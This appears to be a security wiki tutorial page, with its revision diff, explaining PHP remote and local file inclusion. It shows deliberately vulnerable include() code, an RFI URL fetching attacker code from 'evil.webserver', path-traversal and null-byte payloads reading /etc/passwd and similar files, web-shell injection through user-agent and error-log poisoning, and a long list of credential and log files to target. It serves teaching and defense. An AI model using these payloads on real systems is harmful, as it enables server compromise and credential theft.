Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "File Inclusion"

From NetSec
Jump to: navigation, search
(→‎Useful files for LFI)
Line 2: Line 2:
  
 
File inclusion is a vulnerability that exists because of [[PHP]]'s include() function accepting a variable as a parameter.   
 
File inclusion is a vulnerability that exists because of [[PHP]]'s include() function accepting a variable as a parameter.   
−
 
 
__FORCETOC__
 
__FORCETOC__
−
 
+
=Introduction=
−
==Introduction==
+
{{:File_Inclusion/Introduction}}
−
:''This attack can be automated quickly using [[lfi_autopwn.pl]].''
+
=Remote File Inclusion=
−
 
+
{{:File_Inclusion/Remote_File_Inclusion}}
−
PHP's include() function does not merely include a library as similar functions do in [[C]] and other programming languages. It also executes any PHP code in the included file on the server side. As a result, if arbitrary code selected by the attacker can be included, it is possible to perform remote
+
=Local File Inclusion=
−
command execution.
+
{{:File_Inclusion/Local_File_Inclusion}}
−
 
+
−
When a [[programmer]] allows a file to be selected for inclusion via any [[Web_Exploitation#Attack_Vectors|HTTP input]], this creates a '''File Inclusion''' [[vulnerability]]. By providing unexpected inputs that cause sensitive or attacker-controlled files to be included, information can be disclosed and execution can be hijacked.
+
−
 
+
−
To [[patch]] this type of [[vulnerability]], one may employ whitelisting or simply stop allowing user input to specify files for inclusion. There are many prepackaged solutions and techniques to stop file inclusion vulnerabilities, although most of them can be bypassed with enough ingenuity. Where possible, it is better to avoid allowing user input to be directly translated into a file inclusion path.
+
−
 
+
−
{{info|This could be classified as a [[Design Flaws|design flaw]] in [[PHP]] for allowing the inclusion of remote files to begin with, or for accepting a variable in its '''include()''' function.}}
+
−
 
+
−
==Remote File Inclusion==
+
−
 
+
−
Remote file inclusion refers to inclusion of a file that is not located on the victim's server. As recent versions of PHP have built-in safeguards that prevent remote inclusion unless it is explicitly enabled by the administrator, this form of vulnerability is now incredibly rare.
+
−
 
+
−
The example URI of a vulnerable site will be '''/include.php?file=howto.php'''
+
−
 
+
−
[[PHP|PHP]] for this may look like:
+
−
 
+
−
{{code
+
−
|text=
+
−
<source lang="html4strict">
+
−
<HTML>
+
−
<TITLE>Page Title</TITLE>
+
−
<BODY>
+
−
</source>
+
−
<source lang="php">
+
−
<?php
+
−
include($_GET['file']);
+
−
?>
+
−
</source>
+
−
<source lang="html4strict">
+
−
</BODY></HTML>
+
−
</source>
+
−
}}
+
−
 
+
−
{{warning|The above [[PHP]] code is [[vulnerability|vulnerable]].  Do not use this on your site!}}
+
−
An attacker that sees
+
−
 
+
−
  /include.php?file=howto.php
+
−
 
+
−
may change the URL to
+
−
 
+
−
  <nowiki>/include.php?file=http://evil.webserver/include.txt</nowiki>
+
−
 
+
−
<br>
+
−
In this example, if include.txt contains some php code designed by the attacker, this will cause this code to be executed on the server side.
+
−
 
+
−
<br>
+
−
 
+
−
==Local File Inclusion==
+
−
 
+
−
Local file inclusion can be just as dangerous if not more so. It is far more widespread than RFI but can be more difficult to exploit, subject to whatever limitations and whitelisting are in place to prevent it. Local file inclusion occurs when the [[PHP|PHP]] code at '''/local.php?file=welcome''' looks similar to the following, however '''allow_url_fopen''' and '''allow_url_includes''' has been disabled in the [[PHP]] configuration.  This will only allow the attacker to access local files:
+
−
 
+
−
{{code
+
−
|text=
+
−
<source lang="php">
+
−
<?php
+
−
  include($_GET['file']);
+
−
?>
+
−
</source>
+
−
+
−
}}
+
−
 
+
−
This is similar to the Remote File Inclusion [[vulnerability]], however reviewing the code it can be seen that [[PHP|PHP]] is reading from a file on the local machine and then displaying it on the web page. The problem with this type of code is that now, instead of relinquishing execute, write, and read level permissions to an attacker, the [[programmer]] has still relinquished read level permissions to the attacker.
+
−
 
+
−
=== Local File Disclosure ===
+
−
 
+
−
Using this knowledge, the attacker can then specify a file on the remote host that the [[PHP|PHP]] server has permission to read and that file will be displayed in the web page. For example, the name of the file that contains the registry in windows is ntusers.dat in the windows directory. The attacker may request the URL:
+
−
 
+
−
 
+
−
  <nowiki>/local.php?file=../../../../../../../../../../../../../WINDOWS/ntusers.dat</nowiki>
+
−
 
+
−
Similarly, on a linux server:
+
−
 
+
−
  <nowiki>/local.php?file=../../../../../../../../../../../../../etc/passwd</nowiki>
+
−
 
+
−
Because local.php is vulnerable, it will display the registry of vuln.net or the /etc/passwd file in the attacker’s web browser. The first time the attacker sees a URL containing '''.php?file=''', the attacker will most likely attempt a remote file inclusion. If that fails, the attacker will then most likely attempt local file inclusion. Both of these techniques can be used for [[XSS|cross-site scripting]] attacks.
+
−
 
+
−
{{info|A null [[byte|Byte]] can be used to prevent concatenation in a script. For example, many scripts may append '.php' to a user supplied string in an include. Appending a null [[byte|Byte]] (%00) will often short circuit this, allowing an attacker to include any file, regardless of extension.}}
+
−
 
+
−
If the remote host is a UNIX or [[Linux]] based system, the attacker may be able to view /etc/passwd or /proc/cpuinfo with this technique:
+
−
 
+
−
  <nowiki>/local.php?file=../../../../../../../../../../../../../etc/passwd</nowiki>
+
−
 
+
−
Or using null-bytes:
+
−
 
+
−
  <nowiki>/local.php?file=../../../../../../../../../../../../../etc/passwd%00</nowiki>
+
−
 
+
−
Because the file is being included, this means that the attacker can see it if it is a text file, or execute any [[PHP|php]] inside of it.
+
−
 
+
−
=== Code Injection ===
+
−
 
+
−
Two common [[Input|input]] vectors for injecting [[PHP|PHP]] code are the "user-agent" and the httpd error log.  The user-agent can be accessed through '''/proc/self/environ'''.  Therefore, if an attacker uses tamper-data or a similar tool to cause their browser to send a custom user-agent containing the following string:
+
−
 
+
−
{{code
+
−
|text=
+
−
<source lang="php">
+
−
<?php
+
−
  system($_GET['cmd']);
+
−
?>
+
−
</source>
+
−
}}
+
−
 
+
−
 
+
−
and accesses the file:
+
−
 
+
−
  <nowiki>/local.php?file=../../../../../../../../../../../../../proc/self/environ?cmd=whoami</nowiki>
+
−
 
+
−
/proc/self/environ displays the user-agent of the attacker when included. As a result, when it is included the PHP code contained in the attacker's user-agent is executed. meaning that anything supplied to the page via the 'cmd' GET variable will be executed on the server with PHP's system() function, which executes commands at the OS level.
+
−
 
+
−
They can retrieve the [[Linux]] or Unix username (output of the whoami command) in the return [[HTML]] of the [[PHP|PHP]] file.
+
−
 
+
−
The other method is to use the error log - all requests that are denied or that lead to errors are stored in an error log. This means that if we send an illegal request containing some PHP code, the entire request (including the PHP code) will be added to the error log, which can later be included with LFI to execute our code.
+
−
 
+
−
For example, one can use telnet command and cause a 404 error with a GET request:
+
−
 
+
−
{{code
+
−
|text=
+
−
 
+
−
 
+
−
<source lang="php">
+
−
 
+
−
+
−
GET <?php system($_GET['cmd']) ?>
+
−
</source>
+
−
+
−
}}
+
−
 
+
−
And then retrieve the following URL for the same output:
+
−
 
+
−
  <nowiki>/local.php?file=../../../../../../../../../../../../../usr/local/apache/log/error_log?cmd=whoami</nowiki>
+
−
 
+
−
Note that log location may vary.
+
−
 
+
−
=== Useful files for LFI ===
+
−
 
+
−
* /etc/passwd
+
−
* /etc/group
+
−
* /etc/security/passwd
+
−
* /etc/security/group
+
−
* apache/logs/access.log
+
−
* apache/logs/error.log
+
−
* /var/log/access.log
+
−
* /var/log/error.log
+
−
* /proc/self/cmdline
+
−
* /proc/self/fd/<number>
+
−
* /var/apache/access_log
+
−
* /var/apache/error_log
+
−
* /var/log/apache/
+
−
* /var/log/httpd/
+
−
* /usr/local/apache/logs/
+
−
* /usr/local/apache/conf/httpd.conf
+
−
* /proc/<pid>/fd/<number>
+
−
* /proc/self/environ
+
−
<br>
+
 
----
 
----
 
{{exploitation}}
 
{{exploitation}}

Revision as of 06:55, 19 July 2012

File inclusion refers to the process of manipulating unsanitised inputs that make use of PHP's include() function into including files that were not intended to be included. This can be used for the disclosure of privileged information (such as the contents of the /etc/shadow file) or including a file that contains some arbitrary code created by the attacker, and thus causing the server to run this code. File inclusion refers in a general sense to the inclusion of an unintended file, whereas file disclosure refers specifically to using file inclusion to obtain sensitive information.

File inclusion is a vulnerability that exists because of PHP's include() function accepting a variable as a parameter.

Introduction

This attack can be automated quickly using lfi_autopwn.pl.

PHP's include() function does not merely include a library as similar functions do in C and other programming languages. It also executes any PHP code in the included file on the server side. As a result, if arbitrary code selected by the attacker can be included, it is possible to perform remote command execution.

When a programmer allows a file to be selected for inclusion via any HTTP input, this creates a File Inclusion vulnerability. By providing unexpected inputs that cause sensitive or attacker-controlled files to be included, information can be disclosed and execution can be hijacked.

To patch this type of vulnerability, one may employ whitelisting or simply stop allowing user input to specify files for inclusion. There are many prepackaged solutions and techniques to stop file inclusion vulnerabilities, although most of them can be bypassed with enough ingenuity. Where possible, it is better to avoid allowing user input to be directly translated into a file inclusion path.

c3el4.png This could be classified as a design flaw in PHP for allowing the inclusion of remote files to begin with, or for accepting a variable in its include() function.

Remote File Inclusion

Remote file inclusion refers to inclusion of a file that is not located on the victim's server. As recent versions of PHP have built-in safeguards that prevent remote inclusion unless it is explicitly enabled by the administrator, this form of vulnerability is now incredibly rare.

The example URI of a vulnerable site will be /include.php?file=howto.php

PHP for this may look like: 

 
 <HTML>
 <TITLE>Page Title</TITLE>
 <BODY>
 
 
 <?php
 include($_GET['file']);
 ?>
 
 
 </BODY></HTML>
 
RPU0j.png The above PHP code is vulnerable. Do not use this on your site!

An attacker that sees 

 /include.php?file=howto.php

may change the URL to 

 /include.php?file=http://evil.webserver/include.txt


In this example, if include.txt contains some php code designed by the attacker, this will cause this code to be executed on the server side.

Local File Inclusion

Local file inclusion can be just as dangerous if not more so. It is far more widespread than RFI but can be more difficult to exploit, subject to whatever limitations and whitelisting are in place to prevent it. Local file inclusion occurs when the PHP code at /local.php?file=welcome looks similar to the following, however allow_url_fopen and allow_url_includes has been disabled in the PHP configuration. This will only allow the attacker to access local files: 

 
<?php
   include($_GET['file']);
?>
 

This is similar to the Remote File Inclusion vulnerability, however reviewing the code it can be seen that PHP is reading from a file on the local machine and then displaying it on the web page. The problem with this type of code is that now, instead of relinquishing execute, write, and read level permissions to an attacker, the programmer has still relinquished read level permissions to the attacker.

Local File Disclosure

Using this knowledge, the attacker can then specify a file on the remote host that the PHP server has permission to read and that file will be displayed in the web page. For example, the name of the file that contains the registry in windows is ntusers.dat in the windows directory. The attacker may request the URL: 


 /local.php?file=../../../../../../../../../../../../../WINDOWS/ntusers.dat

Similarly, on a linux server: 

 /local.php?file=../../../../../../../../../../../../../etc/passwd

Because local.php is vulnerable, it will display the registry of vuln.net or the /etc/passwd file in the attacker’s web browser. The first time the attacker sees a URL containing .php?file=, the attacker will most likely attempt a remote file inclusion. If that fails, the attacker will then most likely attempt local file inclusion. Both of these techniques can be used for cross-site scripting attacks.

c3el4.png A null Byte can be used to prevent concatenation in a script. For example, many scripts may append '.php' to a user supplied string in an include. Appending a null Byte (%00) will often short circuit this, allowing an attacker to include any file, regardless of extension.

If the remote host is a UNIX or Linux based system, the attacker may be able to view /etc/passwd or /proc/cpuinfo with this technique: 

 /local.php?file=../../../../../../../../../../../../../etc/passwd

Or using null-bytes: 

 /local.php?file=../../../../../../../../../../../../../etc/passwd%00

Because the file is being included, this means that the attacker can see it if it is a text file, or execute any php inside of it.

Code Injection

Two common input vectors for injecting PHP code are the "user-agent" and the httpd error log. The user-agent can be accessed through /proc/self/environ. Therefore, if an attacker uses tamper-data or a similar tool to cause their browser to send a custom user-agent containing the following string: 

 
<?php
   system($_GET['cmd']);
?>
 


and accesses the file: 

 /local.php?file=../../../../../../../../../../../../../proc/self/environ?cmd=whoami

/proc/self/environ displays the user-agent of the attacker when included. As a result, when it is included the PHP code contained in the attacker's user-agent is executed. meaning that anything supplied to the page via the 'cmd' GET variable will be executed on the server with PHP's system() function, which executes commands at the OS level.

They can retrieve the Linux or Unix username (output of the whoami command) in the return HTML of the PHP file.

The other method is to use the error log - all requests that are denied or that lead to errors are stored in an error log. This means that if we send an illegal request containing some PHP code, the entire request (including the PHP code) will be added to the error log, which can later be included with LFI to execute our code.

For example, one can use telnet command and cause a 404 error with a GET request: 

 
 
 
GET <?php system($_GET['cmd']) ?> 
 

And then retrieve the following URL for the same output: 

 /local.php?file=../../../../../../../../../../../../../usr/local/apache/log/error_log?cmd=whoami

Note that log location may vary.

Useful files for LFI

Linux + Solaris files (Darwin [Mac] systems may have a prefix of /private/)

- Fingerprinting (General files)

  • /etc/passwd
  • /etc/master.passwd
  • /etc/shadow
  • /var/db/shadow/hash
  • /etc/group
  • /etc/hosts
  • /etc/motd
  • /etc/issue
  • /etc/release
  • /etc/redhat-release
  • /etc/crontab
  • /etc/inittab
  • /proc/version
  • /proc/cmdline
  • /proc/self/environ
  • /proc/self/fd/0
  • /proc/self/fd/1
  • /proc/self/fd/2
  • /proc/self/fd/255
  • /etc/httpd.conf
  • /etc/apache2.conf
  • /etc/apache2/apache2.conf
  • /etc/apache2/httpd.conf
  • /etc/httpd/conf/httpd.conf
  • /etc/httpd/httpd.conf
  • /etc/apache2/conf/httpd.conf
  • /etc/apache/conf/httpd.conf
  • /usr/local/apache2/conf/httpd.conf
  • /usr/local/apache/conf/httpd.conf
  • /etc/apache2/sites-enabled/000-default
  • /etc/apache2/sites-available/default
  • /etc/nginx.conf
  • /etc/nginx/nginx.conf
  • /etc/nginx/sites-available/default
  • /etc/nginx/sites-enabled/default
  • /etc/ssh/sshd_config
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /etc/php.ini
  • /var/mail/www-data
  • /var/mail/www
  • /var/mail/apache
  • /var/mail/nobody
  • /var/www/.bash_history
  • /root/.bash_history
  • /var/root/.bash_history
  • /var/root/.sh_history

- Less common paths for httpd.conf/php.ini

  • /usr/local/apache/httpd.conf
  • /usr/local/apache2/httpd.conf
  • /usr/local/httpd/conf/httpd.conf
  • /usr/local/etc/apache/conf/httpd.conf
  • /usr/local/etc/apache2/conf/httpd.conf
  • /usr/local/etc/httpd/conf/httpd.conf
  • /usr/apache2/conf/httpd.conf
  • /usr/apache/conf/httpd.conf
  • /etc/http/conf/httpd.conf
  • /etc/http/httpd.conf
  • /opt/apache/conf/httpd.conf
  • /opt/apache2/conf/httpd.conf
  • /var/www/conf/httpd.conf
  • /usr/local/php/httpd.conf
  • /usr/local/php4/httpd.conf
  • /usr/local/php5/httpd.conf
  • /etc/httpd/php.ini
  • /usr/lib/php.ini
  • /usr/lib/php/php.ini
  • /usr/local/etc/php.ini
  • /usr/local/lib/php.ini
  • /usr/local/php/lib/php.ini
  • /usr/local/php4/lib/php.ini
  • /usr/local/php5/lib/php.ini
  • /usr/local/apache/conf/php.ini
  • /etc/php4/apache/php.ini
  • /etc/php4/apache2/php.ini
  • /etc/php5/apache/php.ini
  • /etc/php5/apache2/php.ini
  • /etc/php/php.ini
  • /etc/php/php4/php.ini
  • /etc/php/apache/php.ini
  • /etc/php/apache2/php.ini
  • /usr/local/Zend/etc/php.ini
  • /opt/xampp/etc/php.ini
  • /var/local/www/conf/php.ini
  • /etc/php/cgi/php.ini
  • /etc/php4/cgi/php.ini
  • /etc/php5/cgi/php.ini

- OS Logs 

 Linux
  • /var/log/lastlog
  • /var/log/wtmp
  • /var/run/utmp
  • /var/log/messages.log
  • /var/log/messages
  • /var/log/messages.0
  • /var/log/messages.0.gz
  • /var/log/messages.1
  • /var/log/messages.1.gz
  • /var/log/messages.2
  • /var/log/messages.2.gz
  • /var/log/messages.3
  • /var/log/messages.3.gz
  • /var/log/syslog.log
  • /var/log/syslog
  • /var/log/syslog.0
  • /var/log/syslog.0.gz
  • /var/log/syslog.1
  • /var/log/syslog.1.gz
  • /var/log/syslog.2
  • /var/log/syslog.2.gz
  • /var/log/syslog.3
  • /var/log/syslog.3.gz
  • /var/log/auth.log
  • /var/log/auth.log.0
  • /var/log/auth.log.0.gz
  • /var/log/auth.log.1
  • /var/log/auth.log.1.gz
  • /var/log/auth.log.2
  • /var/log/auth.log.2.gz
  • /var/log/auth.log.3
  • /var/log/auth.log.3.gz
 Solaris
  • /var/log/authlog
  • /var/log/syslog
  • /var/adm/lastlog
  • /var/adm/messages
  • /var/adm/messages.0
  • /var/adm/messages.1
  • /var/adm/messages.2
  • /var/adm/messages.3
  • /var/adm/utmpx
  • /var/adm/wtmpx
 Mac
  • /var/log/kernel.log
  • /var/log/secure.log
  • /var/log/mail.log
  • /var/run/utmp
  • /var/log/wtmp
  • /var/log/lastlog

- HTTPD Logs

  • /var/log/access.log
  • /var/log/access_log
  • /var/log/error.log
  • /var/log/error_log
  • /var/log/apache2/access.log
  • /var/log/apache2/access_log
  • /var/log/apache2/error.log
  • /var/log/apache2/error_log
  • /var/log/apache/access.log
  • /var/log/apache/access_log
  • /var/log/apache/error.log
  • /var/log/apache/error_log
  • /var/log/httpd/access.log
  • /var/log/httpd/access_log
  • /var/log/httpd/error.log
  • /var/log/httpd/error_log
  • /etc/httpd/logs/access.log
  • /etc/httpd/logs/access_log
  • /etc/httpd/logs/error.log
  • /etc/httpd/logs/error_log
  • /usr/local/apache/logs/access.log
  • /usr/local/apache/logs/access_log
  • /usr/local/apache/logs/error.log
  • /usr/local/apache/logs/error_log
  • /usr/local/apache2/logs/access.log
  • /usr/local/apache2/logs/access_log
  • /usr/local/apache2/logs/error.log
  • /usr/local/apache2/logs/error_log
  • /var/www/logs/access.log
  • /var/www/logs/access_log
  • /var/www/logs/error.log
  • /var/www/logs/error_log
  • /opt/lampp/logs/access.log
  • /opt/lampp/logs/access_log
  • /opt/lampp/logs/error.log
  • /opt/lampp/logs/error_log
  • /opt/xampp/logs/access.log
  • /opt/xampp/logs/access_log
  • /opt/xampp/logs/error.log
  • /opt/xampp/logs/error_log

- PHP Session Locations

  • /tmp/sess_<sessid>
  • /var/lib/php/session/sess_<sessid>
  • /var/lib/php5/session/sess_<sessid>

Windows files

- Fingerprinting

  • *:\boot.ini
  • *:\WINDOWS\win.ini
  • *:\WINNT\win.ini
  • *:\WINDOWS\Repair\SAM
  • *:\WINDOWS\php.ini
  • *:\WINNT\php.ini
  • *:\Program Files\Apache Group\Apache\conf\httpd.conf
  • *:\Program Files\Apache Group\Apache2\conf\httpd.conf
  • *:\Program Files\xampp\apache\conf\httpd.conf
  • *:\php\php.ini
  • *:\php5\php.ini
  • *:\php4\php.ini
  • *:\apache\php\php.ini
  • *:\xampp\apache\bin\php.ini
  • *:\home2\bin\stable\apache\php.ini
  • *:\home\bin\stable\apache\php.ini

- Logs

  • *:\Program Files\Apache Group\Apache\logs\access.log
  • *:\Program Files\Apache Group\Apache\logs\error.log

- PHP Session Locations

  • *:\WINDOWS\TEMP\
  • *:\php\sessions\
  • *:\php5\sessions\
  • *:\php4\sessions\


File Inclusion is part of a series on exploitation.
<center>
 </center>
Retrieved from "http://nets.ec/index.php?title=File_Inclusion&oldid=8292"